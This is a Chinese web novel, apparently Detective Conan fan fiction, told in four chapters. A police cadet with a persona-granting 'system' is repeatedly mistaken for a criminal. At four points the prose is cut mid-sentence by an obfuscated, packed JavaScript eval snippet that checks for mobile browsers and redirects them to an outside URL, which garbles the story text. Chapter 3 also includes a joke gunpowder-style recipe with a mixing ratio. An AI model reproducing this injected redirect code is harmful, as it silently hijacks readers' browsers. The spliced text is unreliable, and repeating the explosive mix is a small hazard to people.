《预演酒厂叛徒》 1. 第 1 章 “我警告你，坦白从宽，抗拒从严。” 留着胡茬、面容严肃的小野警官，用审视的目光看着面前的年轻人。 “你的同伙也被我们抓住了，老实交代吧！” 年轻人坐在他对面，看起来才十七岁左右，浑身很放松，右耳还带着一个黑色耳钉。 “同伙？什么同伙？”年轻人轻快地开口，“警官先生，你在说什么啊，我和他根本不认识。” 小野警官的脸色越发凝重。 现在有不少犯罪人员都是少年犯，往往这类人更加不知收敛，觉得自己可以凭借年龄逃脱法律制裁。 他看过不少少年犯嚣张的样子，很显然，这个人就是同类。 而悲哀的是，法律对于未成年人的处罚的确不严重，只要对方咬死不承认，今天自己只能批评教育他一番，就要在24小时内放他回去。 不行。 自己不能这么妥协！ 小野警官的背脊挺直了几分。 我从警校毕业的时候可是向着樱花宣誓过，一定要维护警察荣誉，保护国民安全，不饶恕任何一个罪恶！ “不要狡辩了！如果你和他不认识，那你旁边的小孩怎么回事！” 小野警官愤怒地将照片甩在桌上。 “你们在私下交易什么？毒.品？人口贩卖？还是情报？” 照片上，显示两人偷偷摸摸交易着，一叠纸币被塞到了年轻人衣兜里。 同时给钱的人准备去牵年轻人旁边的小女孩。 年轻人看了一眼，语气莫名：“他在向我求助。” 小野警官一愣：“什么？” “我没骗你，警官，一开始他向我求助，我能看懂他的手势。”年轻人诚恳道：“他大概率是被某个黑.道控制着，要求他在路上售卖掺了‘料’的糖果。像他这样的人，那片区域内还有三四个，他们要相互监视，还有至少一个领头人在暗中监视。” “他不能引起怀疑，所以只能用隐晦的方式求助我。” 小野警官将信将疑：“求助的方式是给你塞钱，并且打算带走你拐来的小孩吗？” “那不是我拐来的小孩。”年轻人诚恳解释，“小孩迷路了，一直在哭，我就打电话帮她找家长，顺便在路上给她买东西吃。” 就正好碰上了那个在路边卖糖果的小店。 “就是这里。”小野警官突然开口，“你的目的既然是买东西，那为什么反而是对方给你钱？” “而且你如果不是他的同伙，那为什么你会对他们的内部监视人员了如指掌？” 年轻人陷入了长久的沉默。 看吧，被我抓住了马脚。小野警官冷笑一声，倒要看看这前后矛盾的说辞他怎么解释。 整个案件在自己看来很简单，这个年轻人是高中辍学的混混，在替某个黑.帮做事，今天是一次团伙作案，他负责诱拐小女孩，并且打电话给家长挑衅，要求他们交赎金。 而伪装成路边买糖果的摊贩，则负责转移人质，拖延时间，迷惑警方。 但是很不巧，他们两人起内讧了，没能及时转移人质，反而被警察一举抓获。 年轻人好像突然察觉到什么：“等下，你不会觉得我在犯罪吧！” “我真是个好人啊警官先生！” “我真是个良民啊警官先生！！” 更大声的喊冤声从隔壁房间传来，伴随着一阵鬼哭狼嚎。 年轻人满头黑线地闭上嘴。 小野警官冷笑地看着他：“进了局里的罪犯，十个里有九个会声称自己是好人。” 年轻人眼神阴晴不定地闪烁，随即缓缓开口：“看来你还不知道我的身份。” “不管什么身份，到了审讯室都没用。”小野警官还以为他背后有什么关系，心中更加提防。 他也不是没见过，有些少年犯家里非富即贵，总会想方设法疏通关系脱罪。 “就算是天王老子来了，今天也要认罪！”小野警官一锤定音。 …… 几分钟后，小野警官拿着年轻人的学生证和录取通知书，惊呆了。 学生证上写着，警视厅警察学校初任科鬼冢班，菱川遥。 录取通知书上写着，他已在当年通过国家公务员III类考试，并被警校录取，从录取当日开始，经过满两年的培训和实习后，可以正式成为警察。 小野警官找回了自己的声音：“你是警校生？” “是啊。”菱川遥的眼神非常无辜，“所以我真是好人。” 他重新开始解释。 “我在路上看到小孩迷路了，所以帮她给家长打了个电话，并且为了安慰她，给她在路上买了很多零食。” 说到这里他悲愤起来，那些零食自己都没吃多少，全被小孩炫嘴里了！ 本来自己零花钱就不多！ “也就在这时，我注意到那个糖果摊贩的老板不对劲。” 不管是摊贩出现的地点、时机、老板的眼神、冷汗，都给自己一种亲切……呸，危险的感觉。 菱川遥按照自己的思路推演了一下，现在正好是放学时机，这条路上没有监控，离学校保安亭又足够远……嗯，非常方便售卖一些掺了“料”给毫无防备的小学生。 所以菱川遥主动上前“友好”交涉了一番。 当然，他考虑到旁边带着孩子，有些话不能让小孩听懂，所以他都是用的黑话交流。 最终他松了口气，因为摊贩老板显然是被逼迫的，他一下午已经尝试了多次求救，但因为被监视着，所以效果甚微。 直到菱川遥停留在他的摊贩前。 但不知道为什么，店长看向他的眼神越来越畏惧，甚至开始给他塞钱。 菱川遥莫名其妙，但转念一想可能是店长人太好了，所以愿意给自己感谢费。 那自己就更加不能坐视不管了。 于是他当场拿出手机，拨打报警电话。 “喂，警官先生啊……我现在手头比较紧，你们也不想这里的人出事吧？” “最好是快点，我们等不了多久。”久了可能就有危险了。 并且还不放心地让小女孩也接电话哭了两声，以免警察叔叔以为自己假报警。 这样就万无一失了。 他完全不知道，这个时候，接到他电话的小孩家长也已经打电话到警视厅了。 …… 小野警官头痛至极，诡异的眼神不断在学生证和菱川遥脸上来回。 他真是警校生吗？不是退学少年犯吗？ 录取通知书有伪造的可能性吗？ ！！！还是说，他的背景已经大到可以无视制度！ 为什么这么怀疑……绝对不是小野警官小题大做。 而是因为他知道国家公务员考试需要面试。 而看菱川遥他的说辞。 对家长说：“你小孩在我手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129262|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。” 还有：“记得带现金，这是老板的吩咐。”“你再晚点来我可不能保证你还能看到他。”等等话语。 对警察更挑衅，还特意让小女孩哭两声。 接到报警电话时候的小野警官手都在发抖，满脑子只剩下“一个穷凶极恶的绑架犯正准备撕票，非专业狙.击手无法击毙”这一个想法。 即使现在澄清了误会，小野警官也不敢想象，菱川遥在公务员考试的面试时会说些什么。 出于谨慎，小野警官翻到了他的档案背面，看看他是不是背景比较深厚。 …… 一分钟后，小野警官安详地合上了档案。 “叫你监护人来吧……呃，是爆处班的松田警官对吧。” “出于见义勇为的性质，我会通知你在警校的鬼冢教官。” 菱川遥松了口气，终于洗清自己身上的嫌疑了。 自己就说嘛，自己这么一个大好人，怎么可能是坏蛋呢？ 小野警官度过了相对失败的一天，他心塞地关上了文件夹，整理桌上的资料。 一抬头发现菱川遥还坐在原地，巴巴地看着他。 “你还想干什么？” “那什么……有东西吃吗？”黑发高中生不好意思低下头，露出腼腆一笑，“听说警视厅的猪排饭很好吃。” 自己早就饿了，零食还一口都没吃上。 小野警官失笑：“……你今天一上午把我们吓得半死，还想在警视厅蹭饭？” 这是真的，虽然没有告诉菱川遥，但其实他们连狙.击手都出动了。 虽然最后任务有点变化，从抓绑架犯变成抓黑.道人员，但确实他们折腾够呛。 小野警官边整理资料边想，可能自己之前多想了，菱川遥也就是个警校生预备役，很害怕的情况下确实容易语无伦次，造成误会。 自己也不该怀疑公务员面试考，呃，大概还是自己资历太浅了吧。 这么想着，菱川遥的声音突然又在他耳边想起： “抱歉抱歉，只是很好奇罢了，毕竟伙食很有名。”年轻人嗓音轻快地开口。 “所以想提前适应一下……说不定哪天。” 在小野警官面色铁青中，菱川遥双手交叠撑在桌上，嘴角上扬，瞳孔幽深，仿佛噬人的黑暗终于无法隐藏，涌现出来。 “——我就吃上了呢？” …… 松田阵平大步走过来，猛地推开门时，就是看到这样一幅画面。 菱川遥和走失小女孩坐在一旁的长椅上，两人都端着一碗猪排饭。 菱川遥低头狂炫，好吃！我直接吃爆！ “你喜欢吃猪排吗？”他问旁边的小女孩。 小女孩警惕地看着他，紧紧护食：“我喜……” “不你不喜欢。”说着他就把旁边那份全新的猪排全部夹到了自己碗里。 吃那么多零食还想吃饭，一边玩去吧！ 小女孩张嘴就开始大哭。 松田阵平深呼吸一口，看向旁边生无可恋的小野太郎：“我来领人。” 小野太郎神色复杂地看向他。 “松田同学。”他惆怅开口，“你家的这个后辈，是魔童吧？” 松田阵平沉默了一下后发现无法反驳，艰难道：“……说些好听的话。” 可恶，失算了，早知道让hagi过来领人。 这个场面自己真应付不了。 2. 第 2 章 来领人的路上，松田阵平就已经将案件了解七七八八。 因为听说菱川遥卷入了案件，所以刚刚过来的路上，松田阵平去见了那个糖果老板。 老板是被迫犯罪的，而且有积极自救行为，所以他情节较轻。 但他一开始依旧不太敢开口，甚至进入警视厅都白着一张脸，了解之后才明白，他是在害怕菱川遥。 因为菱川遥的黑话过于熟练，加上居然很了解他们的人员分布，老板把他认作小头目了。 并且以为他是绑架了小女孩过来销赃，这才很害怕地给他塞钱。 菱川遥高高兴兴收下了。 老板更加坚定自己的怀疑。 ……是小头目吧！ 他一直在监视自己！ 不管松田阵平怎么帮菱川遥解释，老板都不听。 再加上小野太郎在电话里的质问，松田阵平想不清楚前因后果都难。 菱川遥那张嘴又坏事了啊！他这次都让自己同事误会了！ 但是，看着此刻，一边抱着猪排饭，一边朝自己高兴挥手的菱川遥。 松田阵平又一句重话都说不出。 菱川遥看到监护人，已经把自己挥成了一只快乐的招财猫。 松田阵平走过去，从旁边捏起一张纸，一巴掌糊在他脸上。 感受到自己在被乱七八糟擦脸，他发出了一声疑惑的：“……唔唔？” “吃的到处都是，还以为我饿了你好几天。”松田阵平平静道。 他把纸扔开，两手插在口袋里：“走吧。” 菱川遥乖乖跟了上去。 “小野警官是你同学啊？”他亦步亦趋跟在松田阵平身后，“你们都是鬼冢教官的学生吗？” “嗯。”松田阵平没有回头，“我们是同一届的同班同学，当时指导我们的教官是鬼冢八藏。” “噢，他现在也是我教官。” 松田阵平为鬼冢老头默哀一秒。 七年前鬼冢教官遇到自己五个混世魔王，七年后又即将遇到更难搞的菱川遥。 简直噩梦啊。 . 要说为什么松田阵平会成为菱川遥的监护人，那得从七年前说起。 七年前，算是松田阵平从警校后毕业第一年。 他的四名好友中，有两位直接销声匿迹，甚至声称自己不做警察了。 当然，松田和另外两人都清楚，他们很可能去做了某种秘密职业。 原本以为再见到那两位好友要很久以后了，没想到某天深夜，消失的其中一位敲响了他家的房门。 诸伏景光站在门口，兜帽遮住了脸上的表情，怀里抱着一个十岁左右、陷入昏迷的孩子。 当时松田阵平和萩原研二合租在同一个公寓里，看到诸伏景光后，两人都是懵逼的。 小孩塞到他们手上后，懵逼加倍。 诸伏景光请他们帮忙收养这个小孩，他能信得过的人里，只有他们比较合适。 没什么别的要求，只要让他当个普通人就行，以及不要告诉他自己的真实来历。 出于对朋友的信任，松田阵平答应了诸伏景光的请求。 并且这么多年，他一直都没有告诉菱川遥身世。 一开始，菱川遥确实乖巧了一段时间，但逐渐松田阵平就发现不对劲了。 自己倒是想把小孩带成普通人，但是菱川遥太不普通了。 他有点像是那种……那种……犯罪天赋拉满的孩子。 这不对啊景老爷，你们两人哪里拐来的这孩子！？ . 时间再回到现在。 菱川遥余光一瞥，看到悬空在视野范围内，仅自己可见的一个面板。 【已解锁人设：】 【████】 【炸.弹专家】 【黑客】 【开锁大师】 【黑.道头目】 【——更多人设等您来预演。来自您忠实的系统。】 没错，菱川遥不是普通高中生，他拥有一个特殊的预演系统。 获得系统的时候，他才十岁，刚失去记忆，就连他的监护人都不认识。 但是系统透露了一些信息给他。 年仅十岁的菱川遥，在未来，恐怕要去从事一种很危险的职业。 所以他要变强。 而系统的能力正好可以帮到他：只要他提前预演一个人设，比如“开锁大师”，然后让足够多的人相信这个人设的真实性，那他就真的会成为一个开锁大师。 而且相信的人越多，这个能力越强。 就拿开锁大师来举例，一开始，他甚至要用回形针才能撬锁，但到了现在，他只需要打个响指，任何锁都能自动脱落。 这个金手指甚至很逻辑自洽，因为理论上只要能力够强，他自然到哪儿都备受瞩目，又会反过来增加人设能力。 所以现在的自己，前途一片光明啊。 十岁的菱川遥直接自信开口：“系统，帮我检索这个世界前途最光明的人设！” 系统面板上飞速闪过诸如【打工皇帝】、【情报贩子】、【公款吃喝】、【卷王领导】……等一系列诡异关键词。 最后定位到了一个闪闪发光的词条上：【卧底】。 下面还有简单的介绍：【卧底？叛徒？被质疑的立场？在此方世界中，你是一道无解的谜题】 菱川遥恍然大悟。 很合理，又和系统的消息对应上了。 系统说自己未来要去做一个很危险的职业，那卧底危险吗？当然危险！ 卧底需要足够强大的演技吗？需要五花八门的技能吗？当然需要！ 菱川遥悟了，大彻大悟。 那么，成为一名一流的卧底，就是自己的目标了。 当然他也不会去傻到到处宣扬这件事。 现在，菱川遥有些发愁地看着这几个人设。 【炸.弹专家】在六年前解锁，用来让萩原研二躲开了重新读秒的炸.弹。 【黑客】在三年前解锁，用来找到越狱的炸.弹犯，和他埋藏的两个炸.弹位置，让松田阵平顺利拆弹。 【开锁大师】在一个月前解锁，他因为回校太晚被关在警校门外，被迫采用非常规手段闯入……后来发生的事就不说了。 除了第一个人设至今不知道是什么，他好像又解锁了一个新人设。 【黑.道头目】是怎么回事，谁把自己误会成了黑.道头目？ 菱川遥很好奇。 菱川遥装上了这个人设。 “你已经入校一个月了，感觉怎么样？”松田阵平在前面问了一句，平静的语气里透露着关心。 “挺好的，感觉大家都很友善。”菱川遥感受了一下，并没有发生任何事。 难道这个人设不是这样用的？ 虽然知道他不可能被排挤霸凌，但松田阵平还是担心有人欺负他。 当年自己那名全科优秀的好友，都能因为发色不同而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129263|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被排挤。 菱川遥本来就不擅长交际，还不知道会遭遇什么。 “记好了，你不要像今天一样随便恐吓别人。”松田阵平语气严肃，循循善诱，“和同期友善相处，互帮互助，当然，如果遇到了问题，你也要反击回去，不要委屈自己。” 菱川遥在研究人设，耳边只能听到：balabala，balabala，要反击回去！不要委屈自己！ 菱川遥：“好的松田，我记住了。” 松田阵平：“说了要叫我松田哥！还有给我加上敬语啊你个小鬼！” 不过菱川遥没大没小习惯了，松田阵平也没怎么生气。 他接下来还要上班，把菱川遥领出来，送到警视厅门口。 “自己回家吧，带了钥匙吗？”松田阵平扬了扬下巴，在菱川遥开口前打断了他，“就算没带也不能撬自己家的锁！” 菱川遥闭上嘴，比了个ok的手势。 放心，自己绝对没问题！ 松田阵平：……一点也放心不下。 松田阵平离开后，菱川遥在门口值班警察慈祥的目光中，走向一旁的小巷。 真是有活力的后辈啊，仿佛看到了社会充满希望的未来。 值班警察收回目光。 而菱川遥则低头走着，迎面跌跌撞撞走一个全身包裹住的老头。 老头看起来体力不支，走路都走不稳。 “哎哟！我的腰啊……”他痛呼一声，顺势往菱川遥身上扑。 但是藏在他怀里的一把刀也对准了菱川遥。 “小子！把身上值钱的东西都交出来！”粗粝的嗓音再次响起，居然是一个伪装成老人的男人。 抢劫犯目光中闪过一丝不屑。 这种傻不愣登的小子最好抢了，只要吓唬一下，就会把身上的钱全部交出来，甚至不敢报警。 他目光示意菱川遥赶紧。 菱川遥愣愣地看着他，似乎没反应过来自己遭遇抢劫了，然后恍然大悟似的，开始从口袋里往外掏东西。 他先掏出来一对血迹斑斑的指虎。 抢劫犯：“对对，继续给我……呃？” 这是什么？自己出现幻觉了吗？ 在一片死寂中，菱川遥低着头开口：“不好意思啊，刚刚被局子放出来，东西都被条子收缴上去了。” 条子……从局子里放出来……是自己想象的那个出来吗？ “身上剩的玩意儿不多，还好我藏得够深。” 叮咚一声，一个铁质物品掉在地上。 抢劫犯目光颤抖地辨认出来了电.击器。 他的瞳孔猛烈地震。 等等，等等。 从最开始自己就觉得哪里非常违和——这个年轻人怎么一点也不害怕？ 对方的气场，隐藏地很好，现在再细看，那分明就是在黑色领域浸染多年的从容。 自己……这么不凑巧，居然直接抢到了一个刚刚脱罪的黑.道人员？ “哦差点忘了，还有这个。” 抢劫犯浑身僵硬，他不敢低头。 因为他余光看到，对面将一把冰冷的铁器怼在他胸口。 是枪。 他浑身冰冷。 对着自己心脏位置的，是枪。 …… 松田阵平刚回到办公室还不到十分钟，又被一个电话叫了回去。 才刚走到那个分外熟悉的相谈室，就听见一阵破防的鬼哭狼嚎，和菱川遥无辜的脸。 3. 第 3 章 “你都随身带了些什么东西？？菱川遥！” 晚上，公寓里，三个人聚到一起，坐在客厅里。 松田阵平不可置信地拿起电.击器。 他随便碰了一下旁边的按钮，电极上就滋滋闪过欢快的电流。 松田阵平有种捂住脸的冲动。 这种东西，是能随意带出再带入警校的吗？自己记得警校的安防没这么轻松吧？ 结束了一天外勤，才刚下班就见到这一幕的萩原研二，也不可置信地拿起一根钢管。 “小遥遥，这是什么？” 菱川遥低下头：“……7.58内径的0.04深螺纹10公分处开口的无缝钢管。” “好熟练地报出了一串数据啊！” 都精确到小数点后两位了，你看我相信这是普通钢管吗？！ 萩原研二已经听松田阵平说了，菱川遥早上的两次事迹。 此刻他真的不怀疑，为什么那个抢劫犯会被吓哭。 可能是看到萩原研二脸上的麻木太明显了，菱川遥弱弱地补充了一句：“是用来做花洒的，我发誓。” 当时下单的时候他真的是打算用来修公寓的花洒，但是等自己反应过来的时候，自己已经购买了这一型号。 萩原研二委婉道：“呃……那电.击器？” “警校手工课上的小组作业成品。” 松田阵平在旁边听到这里，用力掐了一下自己的大腿。警校有手工课？要不是自己以前上过，自己就信了。 他拿起了那个带血的指虎。 “你看着我的眼睛，告诉我这是什么。” 菱川遥：“网购钢管赠送的公交车拉环……等等！我还没说完！” 松田阵平坐了回去：“你继续说。”自己倒要看看他还能胡言乱语些什么。 菱川遥深沉道：“上面的血迹其实是……西瓜汁。” 菱川遥：“我想开个西瓜，但是当时身边没有趁手的工具。” 所以就用指虎跟西瓜爆了。 松田阵平一边深呼吸，一边走向阳台。 用指虎……开西瓜…… 他觉得自己需要冷静一下。 萩原研二翻了翻桌上乱七八糟的东西，他甚至在里面找到了一块表盘。 不是普通的表盘。以萩原研二在爆.炸.物处理班的工作经验来看，这是一块可以连接电路、用来倒计时的表盘。 萩原研二不敢细想他从哪里获得的。 如果他还是22岁小伙子，在遇到这么一堆可刑可拷的物品，他一定会无比警惕，甚至把嫌疑人扭送警视厅。 但是现在他29岁了，他已经是个熟练的、为自己家小遥遥找借口的哥哥。 只是无缝钢管而已，只是指虎而已。 小遥遥一定有他的道理。 萩原研二眨了眨眼睛，轻笑一声：“小遥遥，你是不是有自己的想法了？” 当时菱川遥突然一下子很着急地跳级，升入高三，又在没有和他们商量的情况下，自己报名了国家公务员III类考试，申请警校就读。 虽然自己和松田一直很尊重他的意愿，只要他想做的事不犯法，两人都会支持。 不过他们依旧非常惊讶。要知道警察明明有更好的职业路径，那就是读完大学后通过国家公务员I类考试，就能成为职业组，在为期6个月的培训后就能成为正式警察。以菱川遥的水平，他走这条路径完全没问题。 但他没有。他选择直接高中毕业就进入警校。 这条路径起点更低，但是能更快就业。 与此同时，菱川遥开始频繁展现他诡异的行为。 以前他多少会收敛一点，但是现在更像是心里时时刻刻都在琢磨着些什么，不自觉展现出了潜意识。 ——虽然容易造成误会。 但让萩原研二很欣慰，至少现在，菱川遥比以前那副毫无生气的样子活泼多了。 “我们能知道吗？”他笑盈盈地撑着下巴，“还是你想保密，都可以哦。” “只是我们作为可靠的成年人，也很想帮上你呢。” 菱川遥的眼睛一下子亮起来，萩原研二就知道自己猜对了。 “嗯嗯！”他两只手指勾着圈，“我现在，有一个很想实现的目标。” 然后他哼哧半天没说出口，看起来不太好意思。 但是萩原研二像理解了：“你现在在做的事，让你开心吗？” 菱川遥毫不犹豫回答：“开心！” 萩原研二若有所思，然后站起来，去阳台找松田阵平了，似乎想说些什么。 菱川遥坐在沙发上晃腿，在仅自己可见的视野里，把【黑.道头目】这个人设拆下来又装上去。 还是什么都没发生。 似乎也没获得什么新技能，体能也没有更好。 就在菱川遥打算把这个人设扔到一边的时候，他的电话突然响起来。 是一串陌生号码。 他接听：“喂？” 一阵安静之后，对面传来一个非常沙哑，像是嗓子受损的声音：“凌晨3点，杯户町二丁目7-14，一千克。” 菱川遥还没来得及说些什么，电话就挂断了。 仿佛对面只需要传达这一信息。 他张了张嘴，沉默地看向已经显示“通话中断”的界面。 ……原来黑.道头目的人设是这样用的啊！ . “你确定吗？这是他的想法？”松田阵平靠在阳台边，手指里夹着烟。 但是烟没有点燃，他早就戒烟了，现在只是喜欢夹着而已。 “八九不离十吧。”萩原研二揉了揉自己的鼻子。 松田阵平嘁了一声：“小没良心的。” “不要讨厌小遥遥哦。”萩原研二说，“这还是他第一次说自己开心呢。” 松田阵平抓了抓头发：“谁讨厌他了，我只是随口这么一说。” 他沉默了片刻，又忍不住再问一遍：“菱川正在做的事，正在往景光他们两人的方向上靠拢，是这样吗？” 明明没有任何记忆啊，这样也留着潜意识吗？ 萩原研二给了他肯定的答案。他看人一向很准，何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129264|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况是自家艰难拉扯大的熊孩子。 松田阵平感觉棘手，那两个人可不是从事什么安全的职业啊。 但是菱川遥又很喜欢。 “难道这是雏鸟情节？”萩原研二也有一点点嫉妒了，“因为他当时是小诸伏带过来的，所以长大后潜意识还在往那个人靠拢吗。” 萩原研二觉得，自己和小阵平就像过继了孩子的妃子，等冷宫里的生母重新获宠，就要回来把孩子接走了。 呜呜呜呜呜。 虽然这几年他们最熟练的事，就是在菱川遥被叫家长的时候去道歉……但是道歉也道出感情了哇！ 两人在阳台上心情复杂。 松田阵平想了很多，他一边想到最初两年，他们对菱川遥的感情还是防备加警惕的，毕竟是景光悄悄送过来的人，还不想让他恢复记忆，说不定有问题。 又一边想到，后来即使菱川遥展现出与众不同，他们也只是担心他被欺负。 ……呃，虽然一般都是他无意识欺负别人。 松田阵平把烟和手一起放进口袋里，思考着，离开了阳台。 他好像有了个想法。 . 菱川遥趴在课桌上，无聊地看着窗外。 昨天周末结束，今天他就回警校上课了。 警校为期两年的培训和实习，其实也包括了一些普通大学的通识教育，要学习的课不少。 所以他获得了很多可以开小差的机会。 老师在讲台上讲解完成操作方式，就让下面的学生自己尝试组装机械零件。 菱川遥低调地操作。 至于昨天晚上电话里的交易……他当然没去。 不知道真正应该接到电话的倒霉蛋是谁，自己肯定不会替他去的。 但是也不能直接告诉警察……菱川遥叹了口气，他不好解释自己怎么获得这个电话号码。 旁边一名学生看他目光发直，有些梦游似的组装着桌上的东西，便小心翼翼凑过去。 “不好意思这位同学，刚刚你听懂了吗……呃？” 菱川遥瞥了他一眼，继续低头做自己的事。 没有回答，名叫高桥正夫的学生有点尴尬，但还是硬着头皮坐了下来，学习他的步骤。 做着做着，他听见菱川遥似乎在低语着一些名词。 “一硫，二硝，三木炭，加点白糖和电线……嗯……可控TN.T就做好了。” 可控T.NT……等等不对。 高桥正夫惊恐抬头，发现菱川遥的眼神有点像走火入魔，非常诡异。 “比例1:1.5:7.5，接上表盘，就是天地同寿钟。” 什么钟？？！你说什么钟？？ 这个人在干什么！？？ 他在冷酷地组装什么？！ 高桥正夫站了起来，在老师和其他人疑惑的目光中，他转头，跑出了教室。 背影非常决绝。 菱川遥这才疑惑地抬头，手里拿着自己刚刚组装好的炸.弹。 只是模型而已，他跑什么？ 又不会真的爆炸。 4. 第 4 章 昏暗的仓库内，手机占线的声音响了很久。 直到一只漆黑的皮鞋踩了上去，脚跟在屏幕上反复碾磨，直到手机裂成两半。 皮鞋的主人将脚移开后，旁边的人才敢战战兢兢弯下腰，把裂开的手机捡起递给另一个人。 蓄着浓密胡子的男人手忙脚乱接过。 龙舌兰声音里有一丝紧张：“琴、琴酒，这是……” “蠢货。”皮鞋的主人点燃一支烟，微弱的火光照亮冰冷银色的长发。 “你那个负责拿货的下属已经死了，要么被抓了。” “昨天晚上你联系的时候，对面就换了人。”琴酒居高临下开口。 龙舌兰满头冷汗，他完全没察觉到这件事。 他地位比琴酒低一大截，甚至可以说，琴酒是他的上司。 如果真要计较起来，自己身上多几个枪眼都是最好的结果…… 他也没想到自己负责的业务出现这么大纰漏，甚至昨晚去交货时都毫无察觉。 正在他头脑风暴，不知道该怎么办时，角落里，有人轻笑开口。 “琴酒，又不是什么大事，不如之后再说。” “今天还有更重要的任务，不是吗？” 琴酒的风衣动了一下，龙舌兰大松一口气。 他感激地看向角落里，背着狙击枪的男人。 似乎这场审判，他从头到尾都不感兴趣，一直在角落里看戏。 直到需要调停的时候，才适时出声，露出一双幽蓝的眼睛。 而随着他开口，另一道慵懒的影子也说话了：“别浪费时间了，听说过那句话吗，Time is money！” 影子的主人压低帽檐，压住一头金发：“今天耽误的时间，我会以小时计费算到各位的头上。” 琴酒居高临下看着龙舌兰，最终，香烟的火光在他脚底踩灭。 仓库响起一声巨大的关门声，四周终于安静下来。 龙舌兰哆哆嗦嗦摘下自己的帽子。 可恶，究竟是哪里出了纰漏。 “查！给我查！” . 上面发生在日本某处的事情，菱川遥并不知情。 此时，他正在被人告知一个好消息。 “实习？！”菱川遥惊讶地看着手里资料，“可是我才上警校三个月。” “只要有部门愿意收留，第一天上警校也可以实习吧。”松田阵平扬了扬下巴。 道理是这样没错，但因为警校生大多经验不足，实习也很难真正参与有价值的案件，所以大部分警校生都不会那么积极，老老实实等待分配。 当然，也有一部分原因是，即使警校生提出申请，也多半会被所申请的部门拒绝。 东京警视厅的所有人员都非常忙碌……不愿意带小孩。 就是因为知道这些原因，菱川遥才这么惊讶。 “松田哥，难道说你其实真的有很深厚的背景，可以给我走后门……”菱川遥沉思、惊疑不定。 “不是，你在想什么！”松田阵平抽了抽嘴角，“我只是把你的简历给熟人看了而已。” 自己只是牵桥搭线，主要功劳确实在菱川遥。 因为他要去实习的部门非常特殊，菱川遥也非常特殊。 简历放到那位课长面前时，课长一眼就相中了，沉思了很久后，破天荒同意让警校生来实习试试。 “组织犯罪对策部四课，专门应对暴力团、处理帮派斗争、逮捕□□成员。”松田阵平继续道，“这个部门非常重要，里面的工作也很麻烦。”以前也很少有警校生会过来实习。 “当然，也很危险，如果你不想去就算了，我只是随口来问问你的想法……” “我要去。”菱川遥肃容，“松田哥，你相信我，说不定我能让课长心花怒放。” 而且虽然松田阵平没有提，自己也知道，他肯定费了不少心思。 明明爆.处班的工作都忙不过来，还要帮他打听部门，推荐实习，甚至找熟人帮忙。 菱川遥非常感动：“你放心啦松田哥，我肯定在那里好好干，不会让你丢脸的。” 松田阵平忍不住道：“你只要收敛一点就行……” 总感觉，让菱川遥好好干，不是什么正面的鼓励。 于是菱川遥就这样出现在组织犯罪对策部四课的门口。 他以为只有自己一个人，没想到坐在办公室角落里等着的，还有另一个警校生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129265|196182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高桥正夫惊疑不定地看着旁边过分眼熟的同学。 不是，怎么又是他啊！ 菱川遥也想起来这个人的名字，隔壁班的高桥正夫，明明上次跟自己打招呼，但最后也没跟自己说几句话就跑了。 不知道什么毛病。 他点了点头，当做示意。 殊不知这个举动在高桥正夫眼里显得很嚣张。 自从上次在课上被吓跑后，高桥正夫越想越憋屈，自己怎么这么轻松就被吓跑了，说不定对方是耍自己玩呢。 也没人真的能在课堂上手搓炸.弹吧。 一定是模型。 可恶，越想越丢脸，好不爽。他现在连带着看菱川遥也很不爽。 “你也是走后门？”他语气里带着不忿，理所当然以为对方和自己一样。 菱川遥沉默了，实习也需要走后门？ 菱川遥没有回答，高桥正夫就越觉得对方被自己说中了。 想必对方之前那般表现只是哗众取宠。高桥正夫打定主意只在这里混一段时间，有了履历之后，就跳去更有前途、更安全的部门，等父亲给自己安排岗位。 这么想着，他正准备站起来。 余光却突然瞥见，菱川遥也站了起来。 一把弹.簧刀随着他的动作，掉到了地上，已经开刃了。 菱川遥很自然地弯腰捡起来，一点也不介意这是在大庭广众之下，警视厅的办公室内。 他拍了拍灰，又随手放进外套内的夹层里，保持着一个右手塞进口袋，就能悄无声息握住，随时刺出的姿势。 